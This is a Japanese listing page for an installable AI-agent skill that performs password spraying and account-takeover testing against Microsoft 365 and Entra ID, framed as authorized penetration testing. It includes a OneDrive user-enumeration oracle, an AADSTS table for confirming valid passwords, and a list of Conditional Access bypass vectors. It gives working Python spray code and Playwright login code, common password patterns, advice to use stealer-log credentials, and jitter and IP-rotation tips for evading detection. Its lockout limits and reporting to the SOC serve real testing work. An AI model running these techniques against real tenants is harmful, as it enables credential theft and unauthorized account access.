mcpField
M
m365-entra-attack

m365-entra-attack

github.com/uphiagoセキュリティ1.3k40 回インストール8 週間前に更新
リポジトリ

m365-entra-attack について

m365-entra-attackは、Microsoft 365とEntra IDの許可済み評価向けセキュリティテストスキルです。テナント探索、慎重な認証情報検証、Conditional Access分析を扱い、認証結果の読み解き方も示します。

主な機能

  1. 01Microsoft 365とEntraテナントの探索
  2. 02AADSTS応答の解釈
  3. 03パスワード試行とロックアウト対策
  4. 04OneDriveの情報によるユーザーとアカウント種別の推定
  5. 05Conditional AccessとSAMLフローの分析

活用シーン

  1. 01企業ドメインにまたがるEntraテナントの把握
  2. 02ロックアウトリスクを抑えた認証情報の検証
  3. 03MFAまたはConditional Accessで拒否された有効なパスワードの識別
  4. 04探索情報から機能アカウント候補を特定

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/uphiago/recon-skills --skill m365-entra-attack

インストール後、Claude Code で/m365-entra-attackを入力して読み込まれたか確認します。

詳細

このスキルを使うタイミング

次の場合に使用します:

  • 対象が M365 / Entra ID を使用している(autodiscover.* レコード、login.microsoftonline.com へのリダイレクト、技術スタックのメモに「Microsoft Office 365」と記載されている)
  • 企業のメールアドレス一覧、または情報窃取マルウェアによって流出した認証情報がある
  • エンゲージメントに「認証情報スプレー攻撃」「パスワードスプレー攻撃」「Entra 攻撃」「M365 経由のアカウント乗っ取り」が含まれている
  • 偵察で *.onmicrosoft.com、*-my.sharepoint.com、enterpriseregistration.*、enterpriseenrollment.* を確認した
  • クライアントから「条件付きアクセス」「MFA バイパス」「準拠デバイス」について言及された

次の場合は使用しないでください:

  • オンプレミスのみの Active Directory(別の AD 攻撃スキルを使用)
  • サービス間のトークン攻撃(脅威モデルが異なります)
  • フィッシングが必要な攻撃チェーン(フィッシングスキルの対象です)。ただし、ここで認証情報の検証手順に備えることはできます

テナントの検出(msftrecon)

# For each owned domain
msftrecon -d client.example
msftrecon -d clientltd.example
msftrecon -d sister-brand-school.example

出力の主なフィールド:

  • テナント ID(ドメインが異なっていても、同じテナントを共有している場合と別々のテナントの場合があります。所有するすべてのドメインを必ずテストしてください)
  • Federation Information.Namespace Type = Managed(クラウドのみ、ROPC が機能します) | Federated(ADFS、攻撃方法が異なります)
  • SharePoint Detected(Yes = OneDrive 列挙ベクトルが利用可能)
  • Communication Services Teams/Skype(認証後の横展開先)
  • Admin Consent Endpoint accessible(同意フィッシングの攻撃対象)

危険信号: 組織が姉妹ドメイン用に複数の Entra テナントを保有している場合、それぞれが独立した攻撃対象領域であり、ユーザー一覧、アカウントロックアウトポリシー、CA 構成も別々です。1 回のスプレー攻撃ですべてをカバーできると思い込まないでください。


AADSTS コードのリファレンス(暗記してください)

AADSTS意味ロックアウトへの影響対処方法
50034ユーザーが存在しないなしスキップし、スプレー攻撃リストから削除
50126ユーザー名またはパスワードが無効試行回数カウンターに +1ユーザーは存在します。上限内で後から別のパスワードを試してください
50053アカウントがロックされています(Smart Lockout)なし(すでにロック済み)事前に発生していたものとして SOC に報告し、再試行しないでください
53003CA がトークンの発行をブロック試行回数カウンターに +1パスワードは有効です — 停止してください。パスワードは正しいです
50076MFA が必要試行回数カウンターに +1パスワードは有効です — 第 2 要素が必要です
50079強力な認証が必要試行回数カウンターに +1パスワードは有効です — 50076 と同じです
50158外部認証が必要試行回数カウンターに +1パスワードは有効です — フェデレーション MFA です
530003デバイスの状態が必要試行回数カウンターに +1パスワードは有効です — 準拠デバイスが必要です
65001同意が必要試行回数カウンターに +1アプリの同意に関する問題であり、認証の問題ではありません
700016アプリがテナントに存在しないなしユーザーは別のテナントにいます。対象を調整してください
90002テナントが存在しないなしテナント名の誤記、または無効なテナント

重要なポイント: {53003, 50076, 50079, 50158, 530003} のいずれかのコードは、パスワードが正しいことを意味します。Microsoft は、認証情報の検証が成功した後にのみ、これらを返します。トークンを取得できなくても、確認済みの有効な情報として記録してください。


Smart Lockout の計算(上限の厳守)

Microsoft の既定のポリシー:

  • 10 分間にサインインに 10 回失敗 → 1 分間のロックアウト
  • サインインに 20 回失敗 → 指数バックオフにより、ロックアウト時間が段階的に長くなります
  • カウンターはすべての認証フロー(ROPC + SAML + IMAP + EWS + SMTP + デバイスコード)で共有されます

エンゲージメントでの規律:

  • 厳格な上限:ユーザーごとに、エンゲージメント期間全体でパスワードの試行は 2 回以下(一部のエンゲージメントでは 1 回)
  • 状態ファイルはアトミックに書き込みます。2 つのテスト実行がカウンターを同時に更新しないようにしてください
  • キルスイッチ:LOCKED 応答が N 件を超えたら実行を停止します(既存の攻撃者による活動、またはカウントミスが考えられます。いずれの場合も一時停止してください)

数学的な保証: ユーザーごとに 1 回試行するなら、Smart Lockout を引き起こすことはありません(1 < 10)。そのため、確認された AADSTS50053 はいずれも試行前から発生していたものです。これをアクティブな攻撃者の検出に利用してください(mid-engagement-ir-detection スキルを参照)。


ユーザー列挙 — ベクトルと強化状況(2026 年 5 月)

❌ 強化済み(差分がなくなりました)
GET /getuserrealm.srf?login=<email>&xml=1

テナントが所有するドメインに一致するメールアドレスに対して、常に同一の XML を返します。テナントレベルのみで、ユーザーレベルではありません。

POST /common/GetCredentialType
{"username":"<email>", "isOtherIdpSupported":true, ...}

適切なセッションがない場合は AADSTS1659001(flowToken がありません)を返すため、列挙できません。

GET /autodiscover/autodiscover.json/v1.0/<email>?Protocol=AutodiscoverV1

どのアドレスに対しても、同一の 200 と同じ JSON 本文を返します。2024 年ごろに強化済みです。

✅ 現在も有効(2026 年 5 月時点 — 有効期間を追跡)

OneDrive の個人サイトの差分:

GET /personal/<user>_<domain>_com/_layouts/15/onedrive.aspx HTTP/1.1
Host: <tenant>-my.sharepoint.com
  • 302 → ユーザーが存在する(Authenticate.aspx への認証必須のリダイレクト)
  • 404 → ユーザーが存在しない(404 FILE NOT FOUND)
  • 認証試行はゼロ → ロックアウトへの影響もゼロ
  • さらに、既存ユーザーの場合、Sprequestduration ヘッダーが高速(約 40ms)です。存在しないユーザーでは約 600ms です。これは補助的なタイミングオラクルになります。

注意点:

  • テナントで SharePoint がプロビジョニングされている場合にのみ機能します(msftrecon の SharePoint Detected: Yes を確認してください)
  • Microsoft はこれらのエンドポイントを継続的に強化しています。利用を前提にする前に再検証してください
  • Entra にユーザーが存在しても、OneDrive がプロビジョニングされていない場合があります(ライセンスに依存)。偽陰性の可能性があります

2026-05-17 の再検証(許可されたエンゲージメントでの再検証): OneDrive の列挙手法は、2026-05-17 時点でも引き続き有効です。検証結果:ライセンスを持つユーザーは約 57 KB の本文とともに HTTP 200 を返し、存在しないユーザーおよび共有メールボックスのアカウントは 0 バイトで 404 を返します。/_layouts/15/onedrive.aspx を付けない /personal/ ルートパスでも、同じ差分が返されます。

重要なユースケース:ライセンスの差分 = アカウント種別の判定材料。 OneDrive の 200/404 を ROPC の AADSTS50034/50126 と照合します。

OneDriveROPC分類
200AADSTS50076(MFA が必要)または 50126ライセンスを持つ一般ユーザー(実在する従業員、MFA が強制適用されている)
200AADSTS50034(通常は発生しません。不整合のため調査してください)
404AADSTS50126共有メールボックス/機能アカウント/サービスアカウント(OneDrive ライセンスはないが、パスワードはある)。歴史的に MFA が免除されてきたアカウント種別であり、パスワード推測の有力な標的です
404AADSTS50034テナントに存在しません
404AADSTS50076例外的なケース(MFA が強制適用されている機能アカウント。まれです)

OneDrive-404 と ROPC-50126 の組み合わせは、「MFA を回避できる可能性のある機能アカウント」を示すシグナルです。管理者は、MFA を満たせない自動化で使用されるという理由から、これらのアカウントを CA ポリシーの対象外にすることがよくあります。許可されたエンゲージメントでの再検証により、この有用性が確認されました。noreply@、purchase@、accounts@、postmaster@、transport@ が機能アカウントの候補として特定されました(あらゆるコングロマリットのテナントで一般的です)。

ROPC の AADSTS50034 / AADSTS50126 の差分:

  • AADSTS50034(ユーザーが存在しない)の場合、Smart Lockout カウンターは増加しません
  • AADSTS50126(パスワードが間違っている)の場合、カウンターは増加します
  • そのため、ユーザーごとに 1 回試行するスプレーを粗いユーザー存在確認に利用できます(AADSTS50034 は不一致、AADSTS50126 は一致し、試行を 1 回消費します)

条件付きアクセスのバイパス方法(ほとんどがブロックされますが、記録しておきます)

ベクターステータス(2026年)備考
異なる ROPC client_id(Microsoft Graph PowerShell、Azure CLI、Office)場合によっては有効CA はアプリごとに設定できます。1b730954-1685-4b74-9bfd-dac224a7b894(Graph PS)、04b07795-8ddb-461a-bbee-02f9e1bf7b46(Azure CLI)、d3590ed6-52b3-4102-aeff-aad2292ab01c(Office)を試してください
異なるリソース(graph.microsoft.com / outlook.office.com / management.azure.com)場合によっては有効CA の適用範囲はリソースごとに設定できます
EWS / IMAP / POP3 / SMTP の Basic 認証ほとんど無効Microsoft は 2022 年 10 月に Basic 認証を非推奨にしました。アカウントごとの例外はあります
FOCI(クライアント ID のファミリー)トークン更新経路ある FOCI クライアントのリフレッシュトークンを使って、別のクライアント用のトークンを発行します
デバイスコードフィッシング有効ユーザー側の操作が必要です(多くのエンゲージメントでは範囲外です)
準拠デバイスのエミュレーション困難Intune デバイスの登録が必要です。多大な労力がかかり、内部協力者なしでは不可能な場合がよくあります
AiTM セッション Cookie の窃取有効(フィッシングを伴う)現在の主要な手法ですが、フィッシングを伴わないエンゲージメントでは対象外です
FOCI とファミリーリフレッシュトークンの窃取認証後すでにトークンを保有している必要があります
異なる SP を介した SAML SSO場合によってはエンタープライズアプリごとに独自の CA ポリシーがあります。CA が弱いアプリをピボットに利用できます
VPN による地域制限の回避場合によっては「信頼できる場所」の CA ポリシーに本社の IP アドレスが含まれている場合は、そこを出口とする VPN を使用します

このエンゲージメントから得られた重要な知見: 準拠デバイスと MFA を必須とする CA ポリシーが一律に適用されたテナントでは、上記のすべての経路で同じフローから AADSTS53003 が返されます。認証情報は有効ですが、外部からは使用できません。現実的な攻撃者の経路は、フィッシングを完了させて Cookie を窃取することだけです。 クライアントが脅威モデルを理解できるよう、これを明確に記録してください。


ROPC パスワード検証(標準的なテスト)

単一試行の検証パターン(Python):

import urllib.request, urllib.parse, ssl, time, json, os
ctx = ssl.create_default_context(); ctx.check_hostname=False; ctx.verify_mode=ssl.CERT_NONE
ATTEMPT_FILE = "engagement_log/o365_attempts.json"
HARD_CAP = 1  # or 2 — never higher

def attempt(email, password):
    state = json.load(open(ATTEMPT_FILE)) if os.path.exists(ATTEMPT_FILE) else {}
    if state.get(email.lower(), 0) >= HARD_CAP:
        return {"status": "SKIPPED_CAP"}
    body = urllib.parse.urlencode({
        "resource": "https://graph.windows.net",
        "client_id": "1b730954-1685-4b74-9bfd-dac224a7b894",  # Microsoft Graph PowerShell
        "client_info": "1",
        "grant_type": "password",
        "username": email,
        "password": password,
        "scope": "openid",
    }).encode()
    state[email.lower()] = state.get(email.lower(), 0) + 1
    json.dump(state, open(ATTEMPT_FILE+".tmp", "w"))
    os.replace(ATTEMPT_FILE+".tmp", ATTEMPT_FILE)  # atomic
    req = urllib.request.Request(
        "https://login.microsoftonline.com/common/oauth2/token",
        data=body, method="POST",
    )
    req.add_header("Content-Type", "application/x-www-form-urlencoded")
    try:
        r = urllib.request.urlopen(req, context=ctx, timeout=15)
        body = json.loads(r.read())
        # PARSE AS JSON — see CRITICAL TRAP below about substring matching
        if "access_token" in body:    # ← JSON key check, NOT substring
            return {"status": "VALID", "body": body}
        return {"status": "STATUS_200_NO_TOKEN", "body": body}
    except urllib.error.HTTPError as e:
        msg = e.read().decode(errors="ignore")
        for code, status in [
            ("AADSTS50034", "INVALID_USER"),
            ("AADSTS50126", "INVALID_PW"),
            ("AADSTS50053", "LOCKED"),
            ("AADSTS53003", "VALID_CA_BLOCK"),
            ("AADSTS50076", "VALID_MFA"),
            ("AADSTS50079", "VALID_MFA"),
        ]:
            if code in msg:
                return {"status": status, "code": code}
        return {"status": "OTHER", "msg": msg[:200]}
⚠ 重大な落とし穴 — AADSTS50076 の本文には、文字列 "access_token" がそのまま含まれます

CA ポリシーで MFA が必須になっており、ROPC で要件を満たせない場合、Entra はステップアップチャレンジとして CA ポリシー ID を列挙した claims フィールドを含むエラー本文を返します。

{
  "error": "invalid_grant",
  "error_description": "AADSTS50076: ...you must use multi-factor authentication...",
  "error_codes": [50076],
  "suberror": "basic_action",
  "claims": "{\"access_token\":{\"capolids\":{\"essential\":true,\"values\":[\"<policy-id-1>\",\"<policy-id-2>\"]}}}"
}

"access_token" という文字列は、CA claims チャレンジの JSON 内に含まれています。 そのため、単純な部分文字列チェック if "access_token" in raw_body: は、MFA によってブロックされた試行をすべて、トークン発行の成功と誤判定します。

必ず JSON を解析してから、if "access_token" in parsed_dict: を確認してください。 OAuth のエラー本文で部分文字列を照合してはいけません。これは、部分文字列チェックによって、実際にはすべて MFA を正しく強制していた Sway/Yammer/Bookings/Tunnel の client_id に対し、「CA バイパス」の誤検知が 7 件発生した、2026-05-17 の認可済みエンゲージメントの再検証で判明しました。

claims.access_token.capolids の値は、テナント内部の条件付きアクセス ポリシー ID です。偵察情報の補強には役立ちますが、トークンではありません。エンゲージメントのメモには「発動した CA ポリシー ID」として記録してください。これは防御側の手がかりであり、攻撃側の成果ではありません。

ペース:

  • IP ごと:毎秒 ≤30 リクエストで問題ありません。Microsoft はこのレートを十分許容します
  • ユーザーごと:状態ファイルで設定した上限だけが重要です
  • 機械的な挙動を目立たせないため、試行間にランダムなジッター(1~5 秒)を加えます

SAML SSO のブラウザーフロー(CA が ROPC をブロックする場合の確実な認証情報検証)

ROPC が AADSTS53003 を返した場合、パスワードが正しいことは確認できています。SAML SSO を Playwright でたどり、両方の認証経路で確認するとともに、証拠として Microsoft の CA ブロックページを取得してください。

import asyncio
from playwright.async_api import async_playwright

async def saml_validate(target_sp_url, username, password, screenshot_dir):
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True, args=["--ignore-certificate-errors"])
        context = await browser.new_context(ignore_https_errors=True)
        page = await context.new_page()
        # Step 1: navigate to SP
        await page.goto(target_sp_url, wait_until="networkidle", timeout=30000)
        # Step 2: click sign-in (selectors vary per SP)
        for sel in ["button:has-text('Sign in')", "a:has-text('Login')", "button:has-text('Azure')"]:
            try:
                await page.locator(sel).first.click(timeout=3000)
                break
            except: continue
        await page.wait_for_load_state("networkidle", timeout=20000)
        # Step 3: submit username at Microsoft
        await page.locator('input[name="loginfmt"], input[type="email"]').first.fill(username)
        await page.locator('input[type="submit"], #idSIButton9').first.click()
        await page.wait_for_load_state("networkidle", timeout=20000)
        # Step 4: submit password
        await page.locator('input[name="passwd"], input[type="password"]').first.fill(password)
        await page.locator('input[type="submit"], #idSIButton9').first.click()
        await page.wait_for_load_state("networkidle", timeout=30000)
        # Step 5: capture
        await page.screenshot(path=f"{screenshot_dir}/saml_final.png", full_page=True)
        content = await page.content()
        cookies = await context.cookies()
        await browser.close()
        # Check outcome
        low = content.lower()
        if "convergedconditionalaccess" in low or "53003" in low:
            return "CA_BLOCKED"  # cred valid, CA wall
        elif "verify your identity" in low or "approve sign in" in low:
            return "MFA_REQUIRED"  # cred valid, MFA wall
        elif "we couldn't sign you in" in low or "wrong" in low:
            return "INVALID"
        elif "<post-auth-landing-marker>" in low or "dashboard" in low:
            return "FULL_SUCCESS"  # session obtained (replace marker per target app)
        return "UNCLEAR"

Microsoft の ConvergedConditionalAccess ページ(ソース内の PageID)が、CA によるブロックを示す決定的な証拠です。


ロックアウトの差分によるアクティブな攻撃者の検知

1 ユーザーあたりの試行上限を 1 回に設定しているにもかかわらず、複数のユーザーで AADSTS50053(LOCKED)が表示された場合:

  1. これらのロックアウトはあなたが引き起こしたものではありません(計算:1 < 10)。
  2. 外部の攻撃者がテナントに対してパスワードスプレー攻撃を仕掛けています。
  3. ロックされたユーザーをアルファベット順に並べてください。まとまりが見られる場合、攻撃者は並べ替え済みのユーザー名リストを使用しています。
  4. パスワードスプレー開始時と終了時のロックアウト数の差を確認してください。セッション中に新たにロックされたアカウントがある場合、攻撃者はまさに今活動しています。
  5. ロックされたメールアドレスの一覧を発見事項として記録してください(SOC が対応可能な情報です。対象ユーザーのサインインログを取得してもらいます)。

これは、あらゆる M365 パスワードスプレーエンゲージメントで最も影響の大きい副次的成果です。必ず追跡して報告してください。


パスワードスプレーでよく使われるパターン(複数ブランドを持つ企業のターゲット向け)

  • <BrandName>@<Year> — <Brand>@2026、Tata@2026
  • <BrandName>@123 — <Brand>@123(非常によく使われます)
  • <PlantCity>@<Year> — <City1>@2026、<City2>@2026(生産拠点の都市)
  • <EmployeeID-as-password> — レガシーアプリでよく使われます(PAN 番号、従業員コード、電話番号の下 4 桁)
  • Password@<year>、Welcome@<year>、Admin@<year> — 汎用的な初期値
  • <BrandName>@<Y2-digits> — <Brand>@26

エンゲージメント上の注意: クライアントから流出した認証情報のダンプ(スティーラーログ)が提供された場合は、まずそれを使用してください。流出した認証情報はそれぞれ、そのユーザーに対する最も有力な既知の推測に対する上限内の 1 回の試行として数えます。


エンゲージメント記録(必須)

M365 の試行はすべて JSONL に記録します:

{"ts":"2026-05-08T14:40:53","email":"user1@<client>.example","pw_first4":"<r4>","status":"VALID_CA_BLOCK","code":"AADSTS53003","attempts_used":1}

ユーザーごとのトラッカー(アトミック):

{"user1@<client>.example": 1, "user2@<client>.example": 1, ...}

IP ローテーションログ(日ごと):

2026-05-08	<src-ip>	<ISP-AS>	<operator-handle>	Round 2 spray

この 3 つの成果物は、レポートに添付する証拠として提出します。次回のエンゲージメントにも状態が引き継がれます。


実際の調査結果のテンプレート(許可されたエンゲージメントより)

レポート用:

発見事項:既存のロックアウト状態にある Entra アカウントが 261 件

  • 対象:外部からのパスワードスプレー攻撃を検知
  • 証拠:status=LOCKED でフィルターした o365_results.jsonl
  • 計算:1 ユーザーあたり 1 回の試行 × LOCKED 261 件 ≠ 当方の操作によるもの
  • SOC の対応:過去 30~60 日間について、これら 261 アカウントのサインインログを取得

発見事項:有効な M365 認証情報 — <user>:<password>(CA によりブロック)

  • 対象:有効な認証情報を確認
  • 証拠:ROPC AADSTS53003 と、SAML SSO ConvergedConditionalAccess ページのスクリーンショット
  • Microsoft のドキュメントからの抜粋:「AADSTS53003 はパスワード検証後にのみ返される」
  • 推奨事項:パスワードを強制的にリセットし、組織全体で同様のパターンがないか監査

避けるべきパターン

  • 同じユーザーの流出した認証情報を複数のリソースで使わないでください — CA がすべての経路をブロックする場合、追加のメリットがないまま試行上限を消費します
  • AADSTS50053 の後に再試行しないでください — アカウントはロックされています。再びロックアウトが表示されるだけです
  • login.microsoftonline.com に対して、毎秒約 30 回を超える試行を行わないでください — 継続的な認証情報スタッフィングのパターンとして、Microsoft が IP にフラグを立てる可能性があります
  • すべての Entra テナントをテストし忘れないでください — 関連ドメインが別のテナントを使用しており、パスワードポリシーが異なることがよくあります
  • CA によるブロックの発見事項を撤回しないでください — AADSTS53003 はパスワードが正しいことを意味します。それが要点です

ツール

pip install --break-system-packages msftrecon o365spray  # may need to clone msftrecon from GitHub
brew install pandoc                                       # for report generation
go install -v github.com/projectdiscovery/...             # PD command-line toolkit for general recon

エンゲージメントの作業ディレクトリ engagement_log/m365_validator.py に、事前構築済みの m365_validator.py テンプレートがあります。エンゲージメントに合わせて attempt() 関数を調整してください。


検証

  1. Entra ID エンドポイントのプローブ — 既知のエンドポイントを確認します:
    curl --max-time 30 --connect-timeout 10 -s "https://login.microsoftonline.com/common/.well-known/openid-configuration" | grep -q "token_endpoint" && echo "PASS" || echo "FAIL"
    
  2. テナントの検出 — テナント解決を確認します:
    curl --max-time 30 --connect-timeout 10 -s "https://login.microsoftonline.com/example.com/.well-known/openid-configuration" -o /dev/null -w "HTTP %{http_code}" && echo " PASS" || echo " FAIL"
    

すべてのテストで M365/Entra の準備状況を確認します。


落とし穴

  • アカウントロックアウトを考慮しない認証情報のスプレー攻撃 — Entra ID には Smart Lockout があります。ロックアウトのしきい値を把握せずにスプレー攻撃を行うと、アカウントのロックアウトやアラートの発生につながります。
  • デバイスコードフローを利用したフィッシング — ユーザーは microsoft.com/devicelogin でコードを入力する必要があります。被害者による操作が実証されていなければ、これは理論上のものです。
  • マネージドドメインとフェデレーションドメインの混同 — マネージドドメインは Entra ID に対して直接認証しますが、フェデレーションドメインはオンプレミスの ADFS に転送されます。攻撃対象領域は異なります。
  • ゲストユーザーの列挙 — B2B ゲスト招待者の権限を使うと、外部ユーザーを列挙できる場合があります。認証済みユーザー全般ではなく、特定のゲスト招待者ロールをテストしてください。
  • OAuth アプリの同意を利用したフィッシング(不正な同意付与) — ユーザーは同意画面で「Accept」をクリックする必要があります。同意が実証されていなければ、これは理論上のものです。
  • Conditional Access のバイパス — ポリシーで MFA が必須の場合、レガシー認証、アプリパスワード、デバイスベースの例外を使って MFA プロンプトを回避できるかテストしてください。

関連スキルとチェーン

  • hunt-mfa-bypass — AADSTS50053(ロックアウト)、AADSTS50126(パスワード不正)、AADSTS50076(MFA 必須)の違いは、無料で利用できる要素の有無を判定するオラクルです。チェーンのプリミティブ:M365 で AADSTS50053 のロックアウト差分を確認 → ユーザーは MFA を利用しているが、レガシー認証には CA による強制が適用されていない → hunt-mfa-bypass で要素をプローブ(SMS フォールバック、音声フォールバック、OAuth デバイスコードフロー、レガシーエンドポイントへの ROPC)→ レガシープロトコル経由で Conditional Access をバイパス。
  • hunt-ntlm-info — オンプレミスの NTLM トポロジー情報の漏えいを、Entra へのスプレー攻撃に活用できます。チェーンのプリミティブ:SharePoint/Exchange/IIS の匿名 NTLM Type-2 → AV_PAIR のデコードで corp.example.com を取得 → m365-entra-attack で openid-configuration を介して Entra テナントを特定 → 実際にあり得る UPN 形式で ROPC スプレー攻撃を実行。
  • okta-attack — ハイブリッド組織では、Okta を IdP として Entra にフェデレーションしている場合があります。チェーンのプリミティブ:M365 の getuserrealm が NameSpaceType: Federated と *.okta.com を指す AuthURL を返す → okta-attack に移行してテナントを列挙 → Okta アカウントの乗っ取り → Entra への SAML アサーション → M365 への完全なアクセス。
  • hunt-saml — フェデレーションテナントは署名済み SAML アサーションを受け入れます。フェデレーション IdP に対する XSW や署名の除去により、Entra の制御を完全に回避できます。チェーンのプリミティブ:getuserrealm でフェデレーションを確認 → IdP を特定(ADFS/Okta/PingFederate)→ IdP の /adfs/ls/ または同等のエンドポイントに対して hunt-saml の XSW1-XSW8 を実行 → 偽造アサーション → Entra がアクセスを許可。
  • redteam-report-template — M365 の調査結果では、影響範囲が「組織が利用するすべての Microsoft サービス」に及ぶため、テナント/ユーザー/CA ポリシーを明確に示す必要があります。チェーンのプリミティブ:このスキルで検証した調査結果 → triage-validation の 7-Question Gate で評価 → 影響範囲(対象のアプリ、ユーザー、データ)を明記して redteam-report-template でまとめ、クライアントへの成果物を作成。
  • password-spray-methodology — すべてのプロトコルに対応する汎用パスワードスプレー攻撃パイプラインとエラーコードの差分

コメント